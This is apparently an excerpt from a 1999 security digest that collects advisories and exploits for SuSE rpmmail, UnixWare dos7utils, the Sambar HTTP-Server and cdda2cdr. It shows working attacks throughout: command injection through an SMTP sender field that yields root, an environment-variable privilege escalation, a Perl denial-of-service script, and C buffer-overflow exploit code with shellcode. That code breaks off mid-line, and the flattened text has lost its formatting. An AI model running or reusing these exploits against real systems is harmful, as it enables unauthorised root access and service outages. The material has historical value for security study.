/etc/SuSE-release;uname -a;id SuSE Linux 6.2 (i386) VERSION = 6.2 Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown uid=100(xnec) gid=100(users) groups=100(users) bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c bah Could not open config file! sh: Y: not found uid=100(xnec) gid=100(users) euid=0(root) egid=0(root) groups=100(users) Could not open acknowledge file! bash-2.03$ The remote exploit is merely: bash-2.03$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:31:13 -0500 (CDT) MAIL FROM: ;/command/to/execute; 250 <;/command/to/execute;> ... Sender Okay RCPT TO: rpmmail 250 ... Recipient Okay data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit A remote scan of vulnerable hosts for this problem would be simple as well, since EXPN can be used to verify the existence of the .forward file: 220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:38:44 -0500 (CDT) EXPN rpmmail 250 "| /home/rpmmail/rpmmail -c /home/rpmmail/rpmmail.conf" Brock Tellier UNIX Systems Administrator ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 @HWA 63.0 A vulnerability exists in the /usr/lib/merge/dos7utils program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greetings, A vulnerability exists in the /usr/lib/merge/dos7utils program (suid root by default) which allows any user to execute any command as root. The dos7utils program gets its localeset.sh exec path from the environment variable STATICMERGE. By setting this to a directory writable by us and setting the -f switch, we can have dos7utils run our program as follows: bash-2.02$ uname -a; id; pwd UnixWare fear71 5 7.1.0 i386 x86at SCO UNIX_SVR5 uid=101(xnec) gid=1(other) /usr/lib/merge bash-2.02$ export STATICMERGE=/tmp bash-2.02$ cat > /tmp/localeset.sh #!/bin/sh id bash-2.02$ chmod 700 /tmp/localeset.sh bash-2.02$ ./dos7utils -f bah uid=0(root) gid=1(other) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(audit),10(nuucp),12(daemon),23(cron),25(dtadmin),47(priv),9(lp) bash-2.02$ ---- Searching through the securityfocus vulnerability archives yields 0 matches for search string "unixware", but several for "openserver". I thought this was rather strange, considering that SCO is discontinuing OpenServer after 5.0.5 in favor of the much more reliable (though not security-wise, evidently) UnixWare 7. And so begins my audit of the virgin Unixware 7 so soon after my incomplete audit of SCO 5.0.5. Brock Tellier UNIX Systems Administrator ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 @HWA 64.0 Sambar HTTP-Server DoS attack ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ While testing the security of the Sambar HTTP-Server I found it vulnerable to a simple DOS attack. Sending a "GET XXXX(...a lot of Xs..)XXXX HTTP/1.0" crashes the Server. It will die WITHOUT logging the attack. My testing-environment: Sambar 4.2.1 M$IE 5.0 (de) Windows 95 C (de) Sample exploit code follows. Dennis Conrad (dennis@linuxstart.com) -------------------- #!/usr/bin/perl ######### # Sample DOS against the Sambar HTTP-Server # This was tested against Sambar 4.2.1 running on Windows95 C # This attack will NOT be logged! Only use it to determine if # your Server is vulnerable! # # Dennis Conrad (dennis@linuxstart.com) # use IO::Socket; print "+++++++++\n"; print "+ Simple DOS-attack against the Sambar HTTP-Server (tested 4.2.1)\n"; print "+ Found on the 3rd of October 1999 by dennis\@linuxstart.com\n\n"; if ($#ARGV != 0) { die "+ Please give the host address as argument\n" } opensocket ("\n"); print $remote "GET " . "X" x 99999999999999999999 . " HTTP/1.0\n\n"; close $remote; opensocket ("\n+ The server seemed to be vulnerable to this attack\n"); close $remote; die "+ The server does not seem to be vulnerable to this attack\n"; sub opensocket { $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $ARGV[0], PeerPort => "http(80)", ) || die "+ Can't open http-port on $ARGV[0]$_[0]"; $remote->autoflush(1) } # EOF -------------------------- Do you do Linux? :) Get your FREE @linuxstart.com email address at: http://www.linuxstart.com @HWA 65.0 There is a buffer overflow vulnerability in cdda2cdr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greetings, There is a buffer overflow vulnerability in cdda2cdr distributed with (at least) package cdwtools-0.93-78. This program is sgid disk by default and thus any malicious user who gains disk privs will have r/w access to your entire hard drive(s) in the form of /dev/hd*. This is obviously a quick root compromise. Fixed packages will be available soon from various vendors (probably by the time you read this). Note that this particular overflow does not affect cdda2wav. Brock Tellier UNIX Systems Administrator --- cdda2x.sh --- #! /bin/sh # # Shell script for Linux x86 cdda2cdr exploit # Brock Tellier btellier@usa.net # cat > /tmp/cdda2x.c < ** ** Brock Tellier btellier@usa.net **/ #include #include char exec[]= /* Generic Linux x86 running our /tmp program */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/cd"; #define LEN 500 #define NOP 0x90 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } void main(int argc, char *argv[]) { int offset=0; int i; int buflen = LEN; long int addr; char buf[LEN]; if(argc > 3) { fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]); exit(0); } else if (argc == 2){ offset=atoi(argv[1]); } else if (argc == 3) { offset=atoi(argv[1]); buflen=atoi(argv[2]); } else { offset=500; buflen=500; } addr=get_sp(); fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n"); fprintf(stderr, "Brock Tellier btellier@usa.net\n"); fprintf(stderr, "Using addr: 0x%x\n", addr+offset); memset(buf,NOP,buflen); memcpy(buf+(buflen/2),exec,strlen(exec)); for(i=((buflen/2) + strlen(exec))+1;i /tmp/cd.c <